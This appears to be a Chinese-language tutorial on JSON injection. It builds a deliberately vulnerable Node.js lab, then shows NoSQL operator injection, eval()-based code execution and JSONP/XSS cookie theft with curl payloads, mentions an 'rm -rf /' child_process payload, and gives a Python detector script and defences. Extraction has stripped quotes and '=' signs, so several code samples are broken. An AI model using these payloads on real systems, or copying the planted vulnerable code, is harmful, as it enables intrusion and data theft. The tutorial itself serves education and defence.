恒美微站
首页
关于我们
建站服务
主题模板
案例展示
资讯中心
联系我们
JSON注入漏洞:从原理到实战的Web安全攻防指南
首页
资讯中心
/
JSON注入漏洞:从原理到实战的Web安全攻防指南
JSON注入漏洞:从原理到实战的Web安全攻防指南
发布时间:2026/8/13 8:17:33
在渗透测试和安全研究领域JSON注入是一个常被提及但容易被误解的漏洞。很多开发者认为只要用了JSON库就安全殊不知错误的序列化与反序列化逻辑同样会为攻击者打开一扇门。本文将从零开始用最直白的语言和可复现的实战案例带你彻底搞懂JSON注入的原理、危害、利用方式以及如何防御。无论你是刚接触Web安全的新手还是希望巩固知识的安全爱好者都能从本文中获得一套完整的认知和实践路径。1. JSON注入它到底是什么在深入技术细节之前我们首先要破除一个常见的误解JSON注入不等于SQL注入也不是XSS跨站脚本攻击。虽然它们都属于“注入”类漏洞但攻击的目标和原理截然不同。1.1 一个生动的比喻想象一下你有一个智能家居的中控系统。你通过手机App向它发送指令指令格式是JSON{ action: turn_on, device: living_room_light }中控系统会解析这个JSON然后执行“打开客厅灯”的操作。现在如果一个恶意的用户发送了这样的指令{ action: turn_on, device: living_room_light\}; system(\rm -rf /\); // }如果中控系统只是简单地将整个JSON字符串拼接成某种命令比如拼接进一个JavaScript引擎或系统命令中那么它解析出来的可能就不再是简单的“打开灯”而是变成了执行删除系统文件的危险命令。这就是JSON注入的核心攻击者通过精心构造的JSON数据篡改了应用程序原本的逻辑解析过程。1.2 专业定义与常见场景JSON注入是指应用程序在接收、解析或处理JSON格式的数据时未对其进行充分的验证、过滤或安全地序列化/反序列化导致攻击者能够注入恶意数据从而改变程序逻辑、执行非预期操作或获取敏感信息的安全漏洞。它主要发生在两个环节服务器端逻辑注入服务器将不可信的JSON数据以不安全的方式如字符串拼接嵌入到代码逻辑如JavaScript、数据库查询、系统命令中执行。客户端浏览器解析注入服务器返回的JSON数据中包含了用户可控的、未转义的内容当浏览器使用eval()或Function()等危险函数解析时可能执行其中的恶意脚本。常见高危场景包括NoSQL数据库查询如MongoDB使用类似JSON的查询语法如$where如果直接将用户输入拼接到查询中可能导致注入。动态代码执行服务器端使用eval()、new Function()或类似机制来处理JSON字符串。不安全的反序列化使用存在漏洞的库如某些旧版本的Pythonpickle、JavaObjectInputStream、PHPunserialize反序列化JSON或类JSON数据。客户端脚本拼接后端将用户输入直接填入JSON响应前端又直接将其作为JavaScript执行。2. 环境准备搭建你的安全实验场“纸上得来终觉浅绝知此事要躬行。” 为了彻底理解JSON注入我们需要一个可以安全、合法进行实验的环境。这里我们使用Kali Linux作为攻击机并搭建一个存在漏洞的靶场应用。2.1 Kali Linux 准备Kali Linux 是渗透测试和安全研究的标准工具集。你可以通过以下方式获取虚拟机安装推荐初学者在VMware或VirtualBox中安装Kali Linux镜像。这是最安全、隔离的方式。物理机安装仅在专属测试设备上安装。云实例或Docker对于快速实验也是不错的选择。确保你的Kali是最新的sudo apt update sudo apt upgrade -y2.2 靶场应用搭建一个脆弱的Node.js服务我们将创建一个简单的Node.js Express应用来模拟漏洞。首先在Kali或你的开发机上安装Node.js。创建项目目录并初始化mkdir json-injection-lab cd json-injection-lab npm init -y安装依赖npm install express body-parser创建漏洞服务器文件vulnerable-server.js// vulnerable-server.js const express require(express); const bodyParser require(body-parser); const app express(); const port 3000; // 使用body-parser中间件解析JSON请求体 app.use(bodyParser.json({ limit: 10mb })); app.use(bodyParser.urlencoded({ extended: true })); // 模拟一个用户数据库内存中 let users [ { id: 1, username: admin, email: adminexample.com, isAdmin: true }, { id: 2, username: alice, email: aliceexample.com, isAdmin: false } ]; // 漏洞点1不安全的NoSQL查询逻辑模拟 app.post(/api/users/find, (req, res) { // 假设我们有一个“智能”的查询构建器它危险地拼接了用户输入 const userQuery req.body.query; console.log([INFO] 接收查询: ${JSON.stringify(userQuery)}); // !!! 危险操作直接将用户提供的对象用于过滤 !!! // 这模拟了类似 db.users.find(userQuery) 的不安全操作 let result users.filter(user { for (let key in userQuery) { if (user[key] ! userQuery[key]) { return false; } } return true; }); res.json({ success: true, data: result }); }); // 漏洞点2不安全的反序列化与代码执行模拟 app.post(/api/config/load, (req, res) { const configData req.body.config; console.log([INFO] 加载配置: ${configData}); // !!! 极度危险使用eval执行动态生成的代码 !!! // 模拟从JSON中“恢复”配置对象的逻辑 try { // 错误做法将字符串直接当作代码执行 const configObj eval((${configData})); res.json({ success: true, config: configObj }); } catch (error) { res.json({ success: false, error: error.message }); } }); // 漏洞点3返回未净化的用户数据给客户端 app.get(/api/user/profile, (req, res) { const username req.query.username || guest; // 模拟从数据库获取用户数据其中bio字段用户可控 const userProfile { username: username, bio: This is ${username}s bio. // 假设这个bio后期会被用户编辑并存储 }; // 直接返回JSON如果bio中含有恶意脚本且前端不安全地渲染则可能导致XSS res.json(userProfile); }); app.listen(port, () { console.log(漏洞服务器运行在 http://localhost:${port}); console.log(测试端点:); console.log( POST /api/users/find - 不安全的查询); console.log( POST /api/config/load - 不安全的反序列化); console.log( GET /api/user/profile?usernamexxx - 返回未净化数据); });启动漏洞服务器node vulnerable-server.js看到服务器启动成功的日志我们的“靶子”就准备好了。3. 核心原理拆解JSON注入是如何发生的现在让我们结合上面的漏洞代码深入剖析JSON注入的几种典型模式。3.1 基于逻辑的NoSQL注入在我们的/api/users/find端点中服务器期望一个query对象并直接用它的键值对来过滤内存中的用户数组。这看起来没问题直到攻击者发送一个特殊的查询。正常请求curl -X POST http://localhost:3000/api/users/find \ -H Content-Type: application/json \ -d {query: {username: alice}}响应正确返回alice的用户信息。恶意注入请求攻击者可以利用JavaScript对象的特性发送一个包含操作符的查询。curl -X POST http://localhost:3000/api/users/find \ -H Content-Type: application/json \ -d {query: {username: {$ne: null}, isAdmin: true}}攻击载荷分析{$ne: null}是一个查询条件意思是“不等于null”。在真实的MongoDB中$ne是一个查询操作符。我们的模拟过滤逻辑user[key] ! userQuery[key]在进行比较时userQuery[key]现在是一个对象{$ne: null}而user[key]是字符串如“admin”。在JavaScript中admin ! {$ne: null}的结果永远是true。因此对于username字段这个条件总是成立。漏洞利用攻击者通过注入一个总是为真的条件 ($ne: null)绕过了对username的匹配同时要求isAdmin: true。最终过滤器会返回所有isAdmin为true的用户即使攻击者不知道管理员用户名。这导致了未授权访问敏感数据管理员列表。3.2 不安全的反序列化与代码执行这是JSON注入中最危险的一种。在/api/config/load端点中服务器使用eval()来解析客户端发送的配置字符串。正常请求curl -X POST http://localhost:3000/api/config/load \ -H Content-Type: application/json \ -d {config: {\\theme\\: \\dark\\, \\language\\: \\zh\\}}注意这里的config是一个字符串里面是JSON文本。服务器端的eval(\(${configData})) 会将其转换为JavaScript对象。恶意注入请求远程代码执行 - RCEcurl -X POST http://localhost:3000/api/config/load \ -H Content-Type: application/json \ -d {config: {\\theme\\: \\dark\\\}); console.log(\RCE Achieved!\); ({\\\language\\\: \\\zh\\\}}让我们拆解这个攻击载荷原始configData字符串是{theme: dark}); console.log(RCE Achieved!); ({language: zh}服务器端代码拼接后变成eval(\(${theme: dark}); console.log(RCE Achieved!); ({language: zh}))eval执行这段字符串首先执行({theme: dark})这是一个合法的对象。然后执行分号;结束前一个语句。接着执行console.log(RCE Achieved!)这是我们注入的任意代码在实际攻击中这里可以是require(child_process).exec(rm -rf /)等系统命令。最后执行({language: zh})让语法保持完整避免立即报错。结果攻击者成功在服务器上执行了任意JavaScript代码完全控制了服务器。3.3 客户端JSON-P与XSS这种漏洞更偏向于前端。假设一个API返回JSONPJSON with Padding数据且回调函数名或JSON数据本身用户可控。漏洞前端代码示例script function loadUserProfile(username) { // 动态创建script标签使用JSONP获取数据 var script document.createElement(script); script.src http://localhost:3000/api/user/profileJsonp?callbackhandleResponseusername${username}; document.body.appendChild(script); } function handleResponse(data) { // 不安全地将用户bio插入HTML document.getElementById(bio).innerHTML data.bio; } // 假设用户输入是img srcx onerroralert(document.cookie) loadUserProfile(attacker); /script div idbio/div恶意利用 如果服务器端没有对username参数进行严格过滤攻击者可以构造一个用户名使得返回的JSONP响应包含恶意脚本。 例如服务器可能返回handleResponse({ username: attacker, bio: img srcx onerroralert(document.cookie) })当handleResponse执行并将data.bio通过innerHTML插入页面时其中的img标签会被解析onerror事件触发执行JavaScript窃取用户的Cookie。这本质上是通过JSONP响应触发的存储型XSS。4. 完整实战利用Kali工具进行探测与验证理解了原理我们化身“攻击者”使用Kali Linux中的工具来探测和验证这些漏洞。请注意这一切仅限在自己搭建的靶场或获得明确授权的环境中进行。4.1 使用 cURL 进行手动探测cURL 是命令行下强大的HTTP客户端非常适合快速测试API。测试漏洞1NoSQL注入# 测试正常查询 curl -s -X POST http://localhost:3000/api/users/find \ -H Content-Type: application/json \ -d {query: {username: alice}} | jq . # 测试注入查询尝试获取管理员用户 curl -s -X POST http://localhost:3000/api/users/find \ -H Content-Type: application/json \ -d {query: {username: {$ne: null}, isAdmin: true}} | jq .如果第二个请求返回了admin用户的信息说明注入成功。测试漏洞2代码执行# 测试正常请求 curl -s -X POST http://localhost:3000/api/config/load \ -H Content-Type: application/json \ -d {config: {\theme\: \dark\}} | jq . # 测试注入让服务器执行一个简单的命令这里用计算代替危险命令 # 我们注入一个立即执行的函数表达式(IIFE)让它计算 10*10 curl -s -X POST http/localhost:3000/api/config/load \ -H Content-Type: application/json \ -d {config: {\theme\: \dark\}); const result (10*10); console.log(Injected calc: ${result}); ({\lang\: \en\}}观察服务器启动终端的输出如果出现了Injected calc: 100的日志说明代码注入并执行成功。4.2 使用 Burp Suite 进行深入测试Burp Suite 是Web安全测试的“瑞士军刀”。我们可以用它来拦截、修改和重放请求更精细地构造攻击载荷。启动Burp SuiteKali中已预装配置浏览器代理如127.0.0.1:8080。在浏览器中访问我们的靶场应用并触发相关请求例如可以写一个简单的前端表单提交到/api/users/find。请求会被Burp拦截。在Proxy - Intercept标签页找到拦截的POST请求。将请求发送到Repeater标签页方便多次修改和测试。在Repeater中修改JSON请求体尝试我们上面提到的各种注入载荷。例如将{username: alice}改为{username: {$ne: null}, isAdmin: true}。观察响应判断注入是否成功。Burp Suite的Intruder模块还可以用于模糊测试和自动化参数爆破。4.3 编写Python脚本进行自动化探测对于重复性的测试编写脚本效率更高。以下是一个简单的Python脚本用于检测不安全的反序列化点#!/usr/bin/env python3 # json_injection_detector.py import requests import json import sys def test_eval_injection(target_url): 测试eval类代码执行漏洞 headers {Content-Type: application/json} # 测试载荷尝试注入一个会产生产生外部网络请求或延迟的表达式 # 这里使用一个简单的 Date.now() 来观察响应时间或差异更安全的做法是用布尔盲注逻辑 test_payloads [ # 载荷1闭合原对象执行一个计算再开启一个新对象 {theme: dark}); if (11) { var d new Date(); console.log(d.getTime()); }; ({lang: en}, # 载荷2尝试触发错误通过错误信息判断 {theme: dark}); throw new Error(INJECTION_TEST); ({lang: en}, # 载荷3算术运算注入 {theme: dark}); result 100*100; ({lang: en, calc: result}, ] for i, payload in enumerate(test_payloads): data {config: payload} try: print(f[*] 测试载荷 {i1}: {payload[:50]}...) resp requests.post(target_url, jsondata, headersheaders, timeout5) print(f 状态码: {resp.status_code}) print(f 响应: {resp.text[:200]}) # 如果响应中包含我们注入的运算结果或者错误信息有特点则可能存在问题 if 10000 in resp.text or INJECTION_TEST in resp.text: print(f[!] 潜在漏洞发现于载荷 {i1}!) except requests.exceptions.Timeout: print(f[!] 请求超时服务器可能正在处理注入的代码如死循环。) except Exception as e: print(f[E] 请求出错: {e}) print(- * 40) if __name__ __main__: if len(sys.argv) ! 2: print(f用法: {sys.argv[0]} 目标URL) print(f示例: {sys.argv[0]} http://localhost:3000/api/config/load) sys.exit(1) target sys.argv[1] print(f[*] 开始测试目标: {target}) test_eval_injection(target)运行脚本python3 json_injection_detector.py http://localhost:3000/api/config/load5. 常见问题与排查思路在实际测试和开发中你可能会遇到各种情况。下表列出了一些常见现象和排查方向问题现象可能原因排查思路与解决方案服务器返回500 Internal Server Error或400 Bad Request1. JSON格式语法错误。2. 注入载荷导致服务器端代码解析异常如语法错误。3. 请求体过大或被WAF拦截。1. 使用jsonlint验证JSON格式。2. 简化注入载荷逐步增加复杂度定位导致错误的字符。3. 检查服务器日志获取详细错误信息。4. 尝试对特殊字符进行URL编码或Unicode编码绕过。注入似乎成功了但没看到预期效果如数据没泄露1. 注入点判断错误参数可能不是直接拼接。2. 应用程序有额外的验证或过滤机制。3. 注入的上下文不对如注入到字符串中被引号包裹。1. 使用时间盲注技术注入sleep(5)或Date.now()延迟观察响应时间。2. 尝试布尔盲注构造true和false条件观察响应差异。3. 仔细分析后端处理逻辑确认数据流。使用eval()的端点测试时脚本无反应1.eval可能在沙箱或受限环境中执行。2. 注入的代码有语法错误被try-catch捕获。3. 服务器可能使用了vm等更安全的模块但配置不当。1. 尝试注入最简单的语句如1或\test\看返回值是否变化。2. 注入console.log(process.version)等Node.js全局对象探测环境。3. 检查服务器端错误日志。怀疑有JSON注入但不知道如何构造有效载荷对目标技术栈不熟悉。1.识别技术栈通过响应头、错误信息、文件后缀等判断如Node.js/Express, Python/Flask, Java/Spring。2.研究对应技术的常见模式-Node.js/MongoDB: 关注$where,$ne,$gt,$regex等操作符。-Python: 关注pickle.loads(),json.loads()与eval()的混用。-Java: 关注ObjectInputStream,Jackson,Gson的某些危险配置如启用多态类型处理。3. 使用模糊测试工具如ffuf, wfuzz搭配字典进行探测。修复后功能出现异常修复方案过于激进破坏了正常业务逻辑。1. 采用白名单而非黑名单进行输入验证。2. 使用安全的反序列化库如JSON.parse并严格校验schema。3. 进行充分的回归测试确保所有合法用例正常工作。6. 最佳实践与彻底防御指南知其攻更要知其防。作为开发者我们必须从源头杜绝JSON注入。6.1 输入验证与过滤第一道防线使用严格的白名单对于所有输入参数定义明确、严格的格式类型、长度、字符集、取值范围。例如用户名只能是字母数字邮箱必须符合正则表达式。对输入进行规范化将输入转换为期望的类型如将字符串转为整数如果转换失败则拒绝。永远不要信任客户端数据即使前端做了验证后端也必须重新验证。6.2 安全地处理JSON核心措施使用安全的解析器JavaScript (Node.js/Browser):永远使用JSON.parse()而不是eval()。JSON.parse()只解析JSON文本不会执行任何代码。// 安全 const obj JSON.parse(jsonString); // 危险绝对禁止 const obj eval(( jsonString ));Python: 使用json.loads()而不是pickle.loads()或yaml.load()除非完全信任数据源。Java: 使用Jackson或Gson等库并禁用多态类型处理如ObjectMapper.enableDefaultTyping()是危险的。// 不安全的Jackson配置 ObjectMapper mapper new ObjectMapper(); mapper.enableDefaultTyping(); // 危险允许反序列化任意类。 // 安全的做法不使用enableDefaultTyping或者使用JsonTypeInfo注解进行严格控制。对NoSQL查询使用参数化或ORM就像SQL注入使用预编译语句一样对于MongoDB使用驱动提供的参数化查询或查询构建器而不是拼接字符串。// 危险拼接 const query { username: req.body.username }; db.users.find(query); // 如果req.body.username是一个对象就可能被注入 // 更安全显式构建查询对象或使用ORM如Mongoose的Schema验证 const username String(req.body.username); // 强制转为字符串 db.users.find({ username: username });6.3 输出编码与上下文安全针对HTML上下文如果JSON数据最终要嵌入到HTML页面中例如作为JavaScript变量必须对HTML特殊字符进行转义。// 后端Node.js示例 const userData { bio: userInputBio }; // 在渲染到模板前对bio进行HTML转义 const safeBio escapeHtml(userData.bio); res.render(profile, { userData: { ...userData, bio: safeBio } });设置正确的Content-TypeAPI响应头应设置为Content-Type: application/json避免浏览器以HTML方式解析。避免使用JSONP在现代开发中优先使用CORS来解决跨域问题弃用不安全的JSONP。6.4 安全的反序列化模式反序列化时校验Schema在将JSON反序列化为对象后使用JSON Schema校验库如ajvfor JS,jsonschemafor Python验证对象的完整结构和数据类型是否符合预期。使用“无类型”或“值对象”反序列化只反序列化为简单的Map/Dictionary或特定的、不含行为方法的数据传输对象DTO而不是复杂的、有方法的业务对象。这可以防止攻击者通过反序列化触发类的构造函数或特定方法如Java的readObject。6.5 架构与运维层面最小权限原则运行应用程序的进程应具有尽可能少的系统权限。及时更新依赖保持JSON处理库、Web框架、数据库驱动等所有依赖项为最新版本以修复已知漏洞。部署WAF在应用前端部署Web应用防火墙可以拦截一些已知的、模式化的注入攻击。安全代码审查与渗透测试将JSON注入作为代码审查和渗透测试的必查项。7. 总结与学习路线通过本文的拆解相信你已经对JSON注入有了从理论到实战的全面认识。我们从一个简单的比喻开始揭示了其“篡改逻辑解析”的本质随后搭建靶场亲手复现了NoSQL逻辑注入、危险的反序列化RCE以及客户端JSONP/XSS这三种典型漏洞并使用Kali中的工具进行了验证。最后我们系统地梳理了从输入验证到安全解析再到输出编码和架构防御的完整方案。要真正掌握Web安全建议你按照以下路线持续深入巩固基础确保理解HTTP协议、JSON数据格式、前后端交互的基本原理。熟悉工具精通Burp Suite、OWASP ZAP、sqlmap也支持NoSQL注入、nmap等核心安全工具。系统学习完整学习OWASP Top 10JSON注入可归类于“注入”和“不安全反序列化”理解每一项的原理、危害和防御。动手实践在DVWA、WebGoat、PortSwigger Web Security Academy等合法靶场上进行大量练习。阅读源码分析一些著名开源项目如Express, Spring的安全更新和CVE报告了解漏洞在真实代码中的样子。关注前沿关注安全社区、博客了解新型的攻击手法和防御技术。安全是一个持续的过程而非一劳永逸的状态。将“安全编码”的意识融入开发的每一个环节是每一位开发者向专业迈进的重要一步。